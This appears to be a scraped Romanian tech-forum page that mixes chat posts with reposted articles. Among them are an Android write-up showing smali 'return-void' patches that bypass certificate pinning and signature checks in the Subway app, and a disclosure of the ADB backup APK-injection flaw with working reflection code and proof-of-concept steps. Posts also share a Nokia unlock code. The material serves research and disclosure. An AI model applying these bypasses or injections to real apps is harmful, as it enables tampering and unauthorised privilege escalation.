ThaiFight

Ai dreptate @Che actualiz?ri peste actualiz?ri,?i ruleaz? ca dracu de greu

Kickass, Torrentz, RARBG and ExtraTorrent blocked by Google Chrome for ‘harmful program’, torrent lovers in panic Google has started penalising torrent websites for reported ‘harmful programs.’ Starting if you try to access popular torrent websites like KickassTorrent, Torrentz, ExtraTorrent and RARBG, you will be greeted by the dreaded red window in Google Chrome stating that these sites have been blocked for carrying harmful programs. The twist in the plot is that none of these popular torrent websites know what they have done wrong. Also the users are at panic because they dont know whether to follow Chrome guidelines or disregard the message and move ahead to open the site. As stated above, Google doesn’t specify what the issue is with the sites in question. The “Safe Browsing”Google Safe Browsing diagnostic page for kat.cronly list the sites as “suspicious” and note that “third parties can add malicious code to legitimate sites.” in some cases. RARBG operator said that, “I hope Google comes to its senses and actually allows webmasters to see what the issue is in their webmasters tools.” One of the other sites, ExtraTorrent is also not aware of any issues with its site and does not know why Chrome is blocking. “There is no malicious software and you are still able to load ExtraTorrent in Mozilla Firefox, Opera, Chromium and other browsers,” the ExtraTorrent team says. “We’ll contact Google to resolve the issue shortly,” they add. However the all the proxy websites like torrentz-proxy.com are opening with the Chrome malware waring page. One of the reasons for triggering the malicious software warning may the unsafe ads which many torrent websites run. If you still want to access the above torrent websites, you can follow the tutorial by Chrome https://support.google.com/chrome/answer/99020?hl=en to disable the Chrome malware warning.

Nu merge @diesel

Serialul Mr Robot este ok ?i interesant.doar ca ma sperie actorul

Salut @Stealth cauta cu shazam http://www.shazam.com/apps,si ai sa g?se?ti versiunea originala

It’s great to see the increasing adoption of certificate pinning in Android apps. When I run into an app that throws connection errors while attempting to proxy requests, I tend to become more interested in diving deeper. Such was the case when I recently used the Subway app. Reversing the APK revealed cert pinning among some other interesting findings. Starting the app while proxying requests caused this error: Pinning is simple enough to bypass. I started by decompiling the app and analyzing the source code for pinning keywords. I actually found pinning implementations in two separate classes that implemented X509TrustManager . Here is one of the methods that enforced pinning: Java public void checkServerTrusted(X509Certificate ax509certificate[], String s) throws CertificateException { if (ax509certificate == null || ax509certificate.length == 0) { throw new CertificateException(new IllegalArgumentException("No X509Certificates found.")); } javax.net.ssl.TrustManager atrustmanager[]; int i; int j; try { TrustManagerFactory trustmanagerfactory = TrustManagerFactory.getInstance("X509"); trustmanagerfactory.init((KeyStore)null); atrustmanager = trustmanagerfactory.getTrustManagers(); j = atrustmanager.length; } // Misplaced declaration of an exception variable catch (X509Certificate ax509certificate[]) { throw new CertificateException(ax509certificate); } // Misplaced declaration of an exception variable catch (X509Certificate ax509certificate[]) { throw new CertificateException(ax509certificate); } i = 0; if (i >= j) { break; /* Loop/switch isn't completed */ } ((X509TrustManager)atrustmanager).checkServerTrusted(ax509certificate, s); i++; if (true) goto _L2; else goto _L1 _L2: break MISSING_BLOCK_LABEL_52; _L1: boolean flag; label0: { s = PaydiantApplicationConfig.getPaydiantApplicationConfig().getPinningCertInfo(); boolean flag1 = false; flag = flag1; if (s == null) { break label0; } s = s.iterator(); com.paydiant.android.config.er er; byte abyte0[]; do { flag = flag1; if (!s.hasNext()) { break label0; } er = (com.paydiant.android.config.Config)s.next(); if (er.print == null || er.print.length == 0) { throw new CertificateException(new IllegalArgumentException("Invalid X509Certificate info provided.")); } abyte0 = messageDigest.digest(ax509certificate[er.osition].getEncoded()); messageDigest.reset(); } while (!Arrays.equals(abyte0, er.print)); flag = true; } if (!flag) { throw new CertificateException("Invalid X509Certificate used."); } else { return; } } Bypassing this was as simple as adding a return statement in the smali code to skip the pinning code in the method above. Note the addition of the return-void statement below: .method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V .locals 13 .param p1, "chain" # [Ljava/security/cert/X509Certificate; .param p2, "authType" # Ljava/lang/String; .annotation system Ldalvik/annotation/Throws; value = { Ljava/security/cert/CertificateException; } .end annotation .prologue .line 583 return-void if-eqz p1, :cond_0 After recompiling the App and installing, I was surprised to see this new error: Subway was using a custom app signature verification process in order to prevent reversing of their APK. Grepping the source for mentions of this process, I traced it back to the following method: public static void verifyAppSignature(Context context) { AppVerificationUtils.verifyAppSignature(context, PaydiantApplicationContext.getPaydiantApplicationContext().getKeyFingerprint(), new com.paydiant.android.common.util.AppVerificationUtils.IVerificationCallback(context) { final Context val$context; public void onVerificationComplete(boolean flag) { if (!flag) { Object obj = PaydiantApplicationContext.getPaydiantApplicationContext().getApplictionLabel(); android.app.AlertDialog.Builder builder = new android.app.AlertDialog.Builder(context); builder.setTitle(0x7f0c02f5); builder.setMessage(context.getString(0x7f0c02f4, new Object[] { obj })); builder.setCancelable(false); builder.setPositiveButton(0x7f0c006c, ((_cls1) (obj)). new android.content.DialogInterface.OnClickListener() { final _cls1 this$0; final String val$appLabel; public void onClick(DialogInterface dialoginterface, int i) { dialoginterface.dismiss(); try { dialoginterface = Class.forName(new String(new byte[] { })); Object obj = new Intent((String)dialoginterface.getField(new String(new byte[] { })).get(null)); String s = context.getString(0x7f0c00ad); ((Intent) (obj)).putExtra((String)dialoginterface.getField(new String(new byte[] { })).get(null), new String[] { s }); ((Intent) (obj)).putExtra((String)dialoginterface.getField(new String(new byte[] { })).get(null), context.getString(0x7f0c02f6, new Object[] { appLabel })); ((Intent) (obj)).setType(new String(new byte[] { })); ((Intent) (obj)).addFlags(0x800000); ((Intent) (obj)).addFlags(0x10000000); context.startActivity(((Intent) (obj))); Log.d(SecurityUtils.TAG, "Invalid App signature. Terminating ..."); dialoginterface = Class.forName(new String(new byte[] { })); obj = dialoginterface.getMethod(new String(new byte[] { }), new Class[0]).invoke(null, new Object[0]); dialoginterface.getMethod(new String(new byte[] { }), new Class[] { Integer.TYPE, Integer.TYPE }).invoke(null, new Object[] { obj, Integer.valueOf(15) }); return; } // Misplaced declaration of an exception variable catch (DialogInterface dialoginterface) { Log.d(SecurityUtils.TAG, dialoginterface.getMessage(), dialoginterface); return; } // Misplaced declaration of an exception variable catch (DialogInterface dialoginterface) { Log.d(SecurityUtils.TAG, dialoginterface.getMessage(), dialoginterface); return; } // Misplaced declaration of an exception variable catch (DialogInterface dialoginterface) { Log.d(SecurityUtils.TAG, dialoginterface.getMessage(), dialoginterface); return; } // Misplaced declaration of an exception variable catch (DialogInterface dialoginterface) { Log.d(SecurityUtils.TAG, dialoginterface.getMessage(), dialoginterface); return; } // Misplaced declaration of an exception variable catch (DialogInterface dialoginterface) { Log.d(SecurityUtils.TAG, dialoginterface.getMessage(), dialoginterface); return; } // Misplaced declaration of an exception variable catch (DialogInterface dialoginterface) { Log.d(SecurityUtils.TAG, dialoginterface.getMessage(), dialoginterface); } } { this$0 = final__pcls1; appLabel = String.this; super(); } }); obj = builder.create(); ((AlertDialog) (obj)).getWindow().setType(2003); ((AlertDialog) (obj)).show(); context.sendBroadcast(new Intent(SecurityUtils.ACTION_APP_VERIFICATION_FAILED)); } } { context = context1; super(); } }); } This was an interesting attempt at preventing reverse engineering, though it actually only caused a slight delay. In order to bypass this process, I simply added a line to skip the method’s execution by adding another return-void line, similar to the pinning bypass process above. .method public static verifyAppSignature(Landroid/content/Context;)V .locals 2 .param p0, "context" # Landroid/content/Context; .prologue .line 70 return-void invoke-static {}, Lcom/paydiant/common/PaydiantApplicationContext;->getPaydiantApplicationContext()Lcom/paydiant/common/PaydiantApplicationContext; After recompiling and installing the app, I was able to successfully proxy requests: During my research, I stumbled on this Reddit post. Apparently, Subway was also determining whether the user’s device had been rooted. I searched around in the source and confirmed mentions of root detection methods. Java public static boolean isDeviceRooted(Context context) { A aa[] = new A[12]; aa[0] = new t>("find /system/app/Superuser.apk"); aa[1] = new t>("busybox df"); aa[2] = new t>("/sbin/su"); aa[3] = new t>("/system/bin/su"); aa[4] = new t>("/system/xbin/su"); aa[5] = new t>("/system/su"); aa[6] = new t>("/system/bin/.ext/.su"); aa[7] = new t>("/system/usr/we-need-root/su-backup"); aa[8] = new t>("/system/xbin/mu"); aa[9] = new t>("id"); aa[10] = new t>("cat /system/build.prop | grep ro.build.tags"); aa[11] = new t>("pm list packages"); A aa1[][] = new t>[12][]; aa1[0] = null; aa1[1] = null; aa1[2] = null; aa1[3] = null; aa1[4] = null; aa1[5] = null; aa1[6] = null; aa1[7] = null; aa1[8] = null; aa1[9] = (new t>[] { new <init>(new String[] { "uid=0(root)" }, null, null) }); aa1[10] = (new <init>[] { new <init>(new String[] { "test-keys" }, null, null) }); aa1[11] = (new <init>[] { new <init>(new String[] { "eu.chainfire.supersu", "com.thirdparty.superuser", "com.koushikdutta.superuser", "com.zachspong.temprootremovejb", "com.ramdroid.appquarantine", "com.noshufou.android.su" }, null, "1") }); int j = 0; java.util.List list = null; int k = aa.length; for (int i = 0; i < k; i++) { A a = aa; if (aa1[j] != null) { list = Arrays.asList(aa1[j]); } if (a.ute(list)) { Log.d("com.paydiant.android.common.util.RootedDeviceUtils", "Device is Rooted"); return true; } j++; } if (isCyanogenmodSuperuserExist(context)) { Log.d("com.paydiant.android.common.util.RootedDeviceUtils", "Device is Rooted"); return true; } else { Log.d("com.paydiant.android.common.util.RootedDeviceUtils", "Device is Not Rooted"); return false; } } This is a great example of an app taking security very seriously, but I’m not quite sure of the reasoning behind the root checking process. Though certificate pinning and signature verification techniques are generally a good idea, they only slightly impede the reverse engineering process.

@jan100 intre timp m-am informat,si am aflat ca Nokia 2610 este dct4+ si nu se decodeaz? prin generatoare de coduri.

We are proud to announce the availability of: Oracle VM VirtualBox 5.0. This release contains significant improvements, with a large number of enhancement and bug fixes. See the official Oracle announcement https://www.oracle.com/corporate/pressrelease/oracle-vm-virtualbox-5-070915.html New data sheet with all features available on Oracle VM VirtualBox 5.0 is already available http://www.oracle.com/us/technologies/virtualization/oraclevm/oracle-vm-virtualbox-ds-1655169.pdf I would like to highlight just a few of the many new features: Paravirtualization support for modern Windows and Linux guests Oracle VM VirtualBox is able to expose a paravirtualization interface to facilitate accurate and efficient execution of software. Once the virtual machine platform is defined, Oracle VM VirtualBox improves guest OS performances by leveraging built-in virtualization support (KVM on Linux guests and Hyper-V on Windows guests). xHCI controller to support USB 3.0 devices Guest operating systems are now able to directly recognize USB 3.0 devices and operate at full 3.0 speeds. Guest can now be configured to use USB 1.1, 2.0 and 3.0 devices. Improved Drag & Drop support Starting from Oracle VM VirtualBox 5.0 we improved the support of a bi-directional drag&drop between guest and host operating system; drag and drop support is available with latest guest-additions installed. Disk image encryption Oracle VM VirtualBox 5.0 allows for encrypted virtual disk images by leveraging AES algorithm in XTS mode (128-bit or 256-bit); since the DEK is stored as part of the virtual machine configuration file, encryption introduces a further security feature that will ask for a password while starting the virtual machine. Headless and Detachable start options Oracle VM VirtualBox now supports starting virtual machines in the background with a separate front-end process that can be closed while the virtual machine continues to work. Further GUI improvements: VM guest-content scaling support (including 3D acceleration) New User Interface settings page for customizing status-bar, menu-bar and guest-content scaling New Encryption settings tab for customizing encryption options for disk images HiDPI support including application icons and optional unscaled HiDPI output on Mac OS X (including 3D acceleration) Hotplugging support for SATA disks Improved HID LEDs synchronization for Mac and Windows hosts Take the guest screen aspect ratio into account for the preview window Provide direct access to storage media in the VM selector If you need further details, please refer to Official Oracle VM VirtualBox 5.0 data sheet, User Manual and virtualbox.org website.

Ai --- ?înceteaz? mai cu prostiile tale de 3 bani ca nu ma impresionezi.

@quadxenon,Daca ?ie nu i?i merge,este problema ta ?i,înainte sa-mi spui ca este vai de pula mea,ar trebui sa ai informa?ii suficiente sa aduci asemenea acuze.

Salut @drax eu folosesc doua telefoane Samsung E1150 ?i îmi merge.Ca operator folosesc vodafone si orange

Romania sau Italia dac? este posibil.Pm please !

@Aerosol cel mai mare Troller

If you are a regular visitor of fossBytes, you must have come across our articles like ways to fix your WiFi or the news about the recently released world’s fastest WiFi router. Today we are here with another interesting piece related to WiFi. Do you know that your WiFi router has a secret magical power? Let’s tell you about it in detail. he electrical engineers from the University of California has found a way by which the number of people in a room could be calculated by the WiFi power measurement. This reminds me of the mobile spying technology used by Batman and Fox in the Dark Knight movie. “Our approach can estimate the number of people walking in an area, based on only the received power measurements of a WiFi link,” said Mostofi, a professor from the University of California. With this approach, we don’t need any WiFi enabled electronic communication device to count the people. To count the number of people, the researchers put two WiFi nodes located in the opposite directions in a 70-sq-meter area. Now by calculating the power measurement in that particular area by those nodes, the number of people were accurately estimated up to nine people- in both outdoor and indoor locations. When people crossed the team between these two nodes, the WiFi signal dropped a bit and vice-versa. By examining the signal variation and behavior of signals, the researchers were able to derive a mathematical method to estimate the number of persons in that area. Mostofi said, “This is about counting walking people, which is very challenging, counting this many people in such a small area with only WiFi power measurements of one link is a hard problem, and the main motivation for this work.” This finding related to WiFi signals could be used in various applications like estimation of people to make smart buildings, air-conditioning capacity etc. Apart from these, this could also be used in security related areas.

Am în?eles @jan100 încearc? te rog cu acest program : Nokia Master Code - Security Master Code Calculator for Nokia Mobile Phones :)sper sa iti pot fi de folos.

@.Breacker ,dac? dore?ti sa afli cine te suna cu num?r necunoscut,redirec?ioneaz? num?rul t?u de telefon c?tre un alt num?r de telefon tot al t?u pe care il de?ii :)asa persoana respectiva sunându-te cu num?r ascuns,la redirec?ionare, î?i va ap?rea num?rul ei/lui.

@Z2G mul?umim

@jan100 IMEI: 354808011306972 Mastercode: 1167620617 sau : Nokiafree unlock phone codes calculator software Nokia Unlock Code by IMEI

Salut @jan100 codul IMEI l?sat de tine,nu este bun .

What is ADB backup/restore? The Android operating system offers a backup/restore mechanism of installed packages through the ADB utility. By default, full backup of applications including the private files stored in /data is performed, but this behaviour can be customized by implementing a BackupAgent | Android Developers class. This way applications can feed the backup process with custom files and data. The backup file created is a simple compressed tar archive with some Android specific headers. Optional encryption is also possible. APK injection vulnerability The backup manager, which invokes the custom BackupAgent does not filter the data stream returned by the applications. While a BackupAgent is being executed during the backup process, it is able to inject additional applications (APKs) into the backup archive without the user's consent. The BackupAgent needs no Android permissions. Upon restoration of the backup archive, the system installs the injected, additional application (since it is part of the backup archive and the system believes it is authentic) with escalated privileges. So the danger is in a few words: an innocent-looking Android application can install new applications with extra permissions without the user's consent. The Backup Manager can be exploited through simple reflection to inject the arbitrary additional APK: // package name of the application to be injected. This will be one of the arguments of backupToTar() method String packageName = "com.searchlab.wifitest"; Method backupToTar; Method getData; try { // looking up the internal Classes Class<?> fullbackupClass = Class.forName("android.app.backup.FullBackup"); Class<?> backupDataOutputClass = Class.forName("android.app.backup.BackupDataOutput"); // fetching reference to the backupToTar method and making it accessible for us backupToTar = fullbackupClass.getDeclaredMethod("backupToTar", String.class, String.class, String.class, String.class, String.class, backupDataOutputClass); backupToTar.setAccessible(true); // we also need getData() method getData = FullBackupDataOutput.class.getDeclaredMethod("getData"); getData.setAccessible(true); // and now let the magic begin! Object backupData = getData.invoke(data); backupToTar.invoke(null, packageName, null, null, getFilesDir().toString(), getFilesDir()+"/_manifest", backupData); backupToTar.invoke(null, packageName, "a", null, getFilesDir().toString(),getFilesDir()+"/com.searchlab.wifitest-1.apk", backupData); // that's all, folks Log.v("MYBACKUP", "backuptotar invoked!"); } catch (Exception e) { e.printStackTrace(); } Who is affected? The vulnerability resides in the backup mechanism of the Android operating system. Anyone using the adb tool for creating and restoring backups of their handsets might be affected. One could think that command line applications are used by geeks or programmers only, but not necessarily, there are Windows GUI applications which rely on the same technology behind the scenes when creating backups or restoring them. The malware might come from an innocent looking game without any suspicion as it claims to need no permissions at all. As soon as backup was created, the archive is "infected". The injected application can use any (non-system) permissions, for example starting automatically at boot or sending SMS messages. Proof of Concept In this repository you can find an application along with it's source code which can demonstrate the vulnerabilty. It was tested on Android 4.4.4 and Android 5.1.1. Step 1: Install ADB_Backup_Injection.apk (com.searchlab.backupagenttest): This application does not require any permissions. Step 2: Use the following command to create a backup of this package adb backup -f backup.ab -apk com.searchlab.backupagenttest (You could create a full system backup as well, the exploit would be still successful.) Step 3 (optional): If you want to examine the backup archive just created, use the ABE tool: java -jar abe.jar unpack backup.ab backup.tar In the tar file you will find the injected second application (com.searchlab.wifitest). Step 4: Use the following command to restore the archive: adb restore backup.ab Since the backup.ab file already contains the injected application, it will be restored (installed) as well. Step 5: Verify that Wifi Test application was indeed installed. The application runs with android.permission.CHANGE_WIFI_STATE and android.permission.ACCESS_WIFI_STATE permissions to demonstrate that privilege escalation was also possible. CVE The ID CVE-2014-7952 was assigned to this vulnerability. Affected Versions As of today (2015-07-08), all Android versions are affected, including Android L. Timeline SEARCH-LAB Ltd. responsibly reported this threat to the Android security team. At first, Google did not acknowledge the issue being security relevant. Later they kept requesting to hold off publishing as they needed more time for further investigation, but as of today, July 8, 2015 the bug was still not addressed. The most important milestones of the issue are listed in the next lines: 2014-07-14: The vulnerability was disclosed to the Android Security Team 2014-07-28: Google refused to treat the issue as a potential threat ...Couple of additional emails in this thread, Google kept investigating the issue and requested holding off the publication 2014-10-13: Asked Google for status update (and requested a cup or a mug for being patient) 2014-10-15: Google answered that the issue did not get fixed in the L release and requested to hold off publishing it. (Got a promise about asking around for a mug) ...Few more ping-pong emails periodically without any new info (neither a mug) 2015-06-02: Google promised further info in a few days, but it never arrived

Privacy is one of the biggest concern to everyone these days, and to respect your privacy, few days ago Google enabled the option to Google Now Lets You Download Your Entire Search History, Here is How To Do This. And here again, they came up with one more thing, now you can stop google from tracking you. eah you heard it right, you can stop Google from tracking your searches and browsing activity, places you go, information from your devices, your voice searches and commands, videos you search for on YouTube and How To Enable YouTube's Transparent Player on YouTube. Here in this blog post, I am going to show you how can you stop Google from snooping in your data but let me tell you first, they claim that the data they collect is for enhancing the user experience on the web, so you need not to disable all the options. Here are the steps to disable Google tracker. Step 1: The first step in order to do this is to login to Google Web and App Activity Page. Now click on Gear icon which will open some options. Step 2: Now Click on Settings, it will open your accounts history settings. You can disable the searches and browsing activity from here or click on SHOW MORE SETTINGS to see other options. google-web-app-activity-center-setting Step 3: Now it’s final step to stop Google from tracking you, all you need to do is to disable the option by clicking on the slide buttons located at the right side of every option. Now you can disable the options you want. stop-google-tracking-me Now as you disabled Google from tracking you, you need not to worry about lots of things and search you perform on web. But yes, they can still look into your search for sometimes in order to improve the quality of your search results, or as they say. To go complete anonymous, incognito mode is a better way. google-warning If you like the post share it with your friends, family to make sure they can surf the web anonymously without having a fear of being snooped by Google.

@hano,dac? t?ceai ,filosof r?mâneai

Android is the fastest growing platform with billions of apps in the play store. Everyone shares different kinds of files with their friends. Some people just have transferred some of their important files on their device, but they are unable to open those files on their device because only a few files are supported by default on Android. So, if we need to increase the number of supportable files on our device, we need to install some applications and change some settings. A few examples of some extensions which are not supported on android devices by default are:- Mkv, Avi, Zip, Rar, OGG, Wav, 3GP, M4A, MID, XMF, AAC etc. Open all types of Video Formats (MKV, AVI,WMV etc.) You might have noticed that you are not able to open some types of video files like MKV and WMV on your Android device. One solution to this problem is to download MX Player. This app has more than a million installs and many positive reviews. Download MX Player now to open all video formats on your device. Download https://play.google.com/store/apps/details?id=com.mxtech.videoplayer.ad&hl=en Open ZIP and RAR Files (Compressed) You might have transferred some important files on your Android device from your computer, but then you realised that you cannot open this type of file by default. So, the solution to this problem is downloading ES File explorer on your device. This is a must have app on your device. Download https://play.google.com/store/apps/details?id=com.estrongs.android.pop&hl=en Open all audio formats The majority of audio files Google Play Music can cope with play but it can still miss some extensions. To play those files, download N7 Music Player from the Play Store. Download https://play.google.com/store/apps/details?id=com.n7mobile.nplayer&hl=en

Bine ai venit @awa

In anii trecu?i a fost praf :)probabil acum î?i dau seama ca nu au de ales,?i se pun cu burta pe înv??at.